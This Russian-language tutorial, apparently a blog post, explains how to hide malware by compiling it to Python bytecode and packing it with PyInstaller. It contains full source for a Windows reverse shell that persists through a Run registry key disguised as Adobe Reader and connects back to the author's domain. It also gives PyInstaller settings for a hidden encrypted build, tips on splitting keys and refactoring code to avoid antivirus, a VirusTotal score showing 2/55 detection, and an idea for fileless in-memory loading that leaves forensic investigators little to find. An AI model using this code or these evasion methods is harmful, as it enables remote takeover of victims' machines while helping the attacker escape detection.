Виртуализация Malware кода в CPython код.

Один из методов сокрытия и защиты кода это его виртуализация. Один из самых быстрых способов виртуализации использовать интерпретаторы, имеющие byte code представление, например Python с модулем py_compile.

py_compile – модуль способный компилировать код python в byte code. Байт-код похож на машинный код, но предназначен для исполнения не реальным процессором, а виртуальной машиной. В качестве виртуальной машины обычно выступает интерпретаторсоответствующего языка программирования (иногда дополненный JIT- или AOT-компилятором). Спецификации байт-кода и исполняющих его виртуальных машин могут сильно различаться для разных языков: часто байт-код состоит из инструкций для стековой[en] виртуальной машины[1], однако могут использоваться и регистровые[en] машины[2][3]. Тем не менее, большинство инструкций байт-кода обычно эквивалентны одной или нескольким командам ассемблера.

Кроме python существует множество других интерпретаторов использующих byte code.

Компилируемость Python:
Все модули **.py** компилируются автоматически при их импорте,

compile.py:

```
    def f1():
    print("500")
```

main.py:

```
import py_compile
py_compile.compile("compile.py")  //Компилируем отдельный модуль
compileall.compile_dir("mylib", force=1) //Компилируем весь каталог с файлами *.py
```

Файл **compile.py** скомпилируется в **compile.pyc**

Откомпилированные файлы не зависят от архитектуры, но зависят от реализации и версии самого питона.

Есть ещё интересный способ выполнять байт коду получая его на лету из обычного питон кода:

compile.py:

```
import py_compile
code_str = """
print "Hello, world"
"""
code_obj = (code_str, '<string>', 'exec')
code_obj
```

Питон код в code_str преобразуется функцией **exec()** в байт код, после чего вызовом code_obj выполняем его. Так же есть команде **eval().**

Как работают эти функции.

Функция **exec**(**expression**)
Выражение **expression** должно давать объект типа **code**, **string** или **file**, если **expression** является объектом кода, инструкция **exec** просто выполняет его.

Функция **eval**(**expression**)
Динамическое вычисление выражений.

Запускаем ./python
Или
Python.exe

```
>>> exec('37 + a') # it is an expression statement
>>> exec('a = 47') # modify a global variable as a side effect
>>> a
47
>>> a = 5
>>> eval('37 + a') # it is an expression
42
```

Разумеется, python умеет делать вызовы системных api функций, так что нам доступен весь спектр возможностей, кроме его встроенных возможностей и подключаемых модулей. Таким образом, можно писать весь код на winAPI или весь код Python или комбинировать. Можно смело делать внешние вызовы powershell скриптов или vbs или js. Это может быть весело.

Давайте представим, что у нас есть простейший код нашей Malware, копирует себя во временную папку, добавляет себя в автозагрузку, и порождает back connect на наш сервер.

compile.py:

```
import sys, base64, os, socket, subprocess, re
from _winreg import *

class ReverseShellClient:

    s = None

    def connect(self, host, port):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        port = int(port)
        try:
            self.s.connect((host, port))
        except:
            print >> sys.stderr, 'c'

    def receive(self):
        received = self.s.recv(1024)
        tokens = re.split('\s+', received, 1)
        command = tokens[0]
        if command == 'quit':
            self.s.close()
            sys.exit()
        elif command == 'shell':
```

```
            if len(tokens) > 1:
                proc2 = subprocess.Popen(tokens[1], shell=True,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                    stdin=subprocess.PIPE)
                output = proc2.stdout.read() + proc2.stderr.read()
            else:
                output = 'args must follow "shell"'
        else:
            output = 'valid input is "quit" or "shell <cmd>" (e.g. "shell dir")'
        self.send(output)

    def send(self, output):
        self.s.send(output)
        self.receive()

    def stop():
        self.s.close()

def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))

# Check to see if autorun key exists
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass

# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass

def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    #shell()
    client = ReverseShellClient()
    client.connect('kitsune.online', 443)
    client.receive()
    client.stop()

if __name__ == "__main__":
        main()
```

Переводим **compile.py** в **compile.pyc**, но одного байт кода кажется мало, поэтому хочу обратить ваше внимание на проект **pyinstaller** (http://www.pyinstaller.org/) и вот почему. При выполнении байт кода потребуются все необходимые библиотеки питон:
msvcm90.dll
msvcp90.dll
msvcr90.dll
python27.dll
и иногда файлы модулей. Это неудобно.

PyInstaller, создаст исполняемый контейнер, где будет всё необходимое, можно создать файл проекта и включать в него любые файлы. Что может быть не мало важно, имеется поддержка **manifest** файлов для конечного **.exe** файла.

`pyinstaller` <options> SCRIPT

Внутри **PyInstaller** имеет модуль предварительного сжатия и шифрования кода, но я настоятельно рекомендую рефакторинг этих модулей, а еще лучше периодический рефакторинг.

Для шифрования кода используется довольно простой вариант **PyCrypt** (https://pypi.python.org/pypi/pycrypto). К сожалению **PyCrypt** определяется несколькими антивирусами, но они не популярные и основные никак не реагирует на **PyCrypt**, но рефакторить всё же придётся.

Умеет работать с ресурсами, можно выбрать иконку будущего файл, его PE формат. Можно прятать имена импортов и т.к.

По умолчанию после запуска готового .exe контейнера все распаковывается в **%TEMP%**, это можно изменить.

Пример:

./pyinstaller --onefile --noconfirm --noconsole --clean --log-level=DEBUG --key=1234567890654321 -i c:\windows\explorer.exe test.py

-i c:\windows\explorer.exe откуда брать иконку

--onefile готовый .exe контейнер

--noconsole параметр для питона, не выводить никаких окон при выполнении

--clean чистка лишних символов в .exe

--log-level=DEBUG

`--upx-dir` *`UPX_DIR`*

`--hiddenimport` *`MODULENAME`*

key=1234567890654321 ключ для **PyCrypt** который кстати там хранится в открытом виде, зарефакторите его так, чтобы он собирался после запуска из кусков, размажьте его по коду.

Остальные подробности есть в PyInstaller-3.2/doc/pyinstaller.html

В итоге мы получим готовый файл к выполнению с виртуализацией, сжатием и простейшей криптой. Один из минусов это большой размер, от 5 мегабайт и выше.

http://virustotal.com/

SHA256:	3065c8b9f32a58471abee6878be963ca240df6541cd1f43254c615e10bc2df7c
Имя файла:	test.exe
Показатель выявления:	2 / 55

Из советов, хочется добавить, что было бы не плохо еще рефакторить и собирать собственную библиотеку python27.dll это даст еще больше фору, но и hardcore, однако в будущем облегчит “потоковые билды” malware. Данный способ хорош для поделок на скорую руку.

Из веселого, можно собрать свой контейнер который будет всегда чист и иметь только одну функцию, скачивания *.pyc байт кода и его выполнение, все будет в памяти. Исследователи инцидентов ничего в итоге не найдут, кроме адреса загрузки. Кто это был, что было похищено, какие были действия, такие техники часто используют powershell malware.

Эти же техники можно применять и для рядовых пентестов. Производство кода дешево выходит и экономит много времени.

Belousova Alisa (alisa@2600.su)
http://kitsune.online/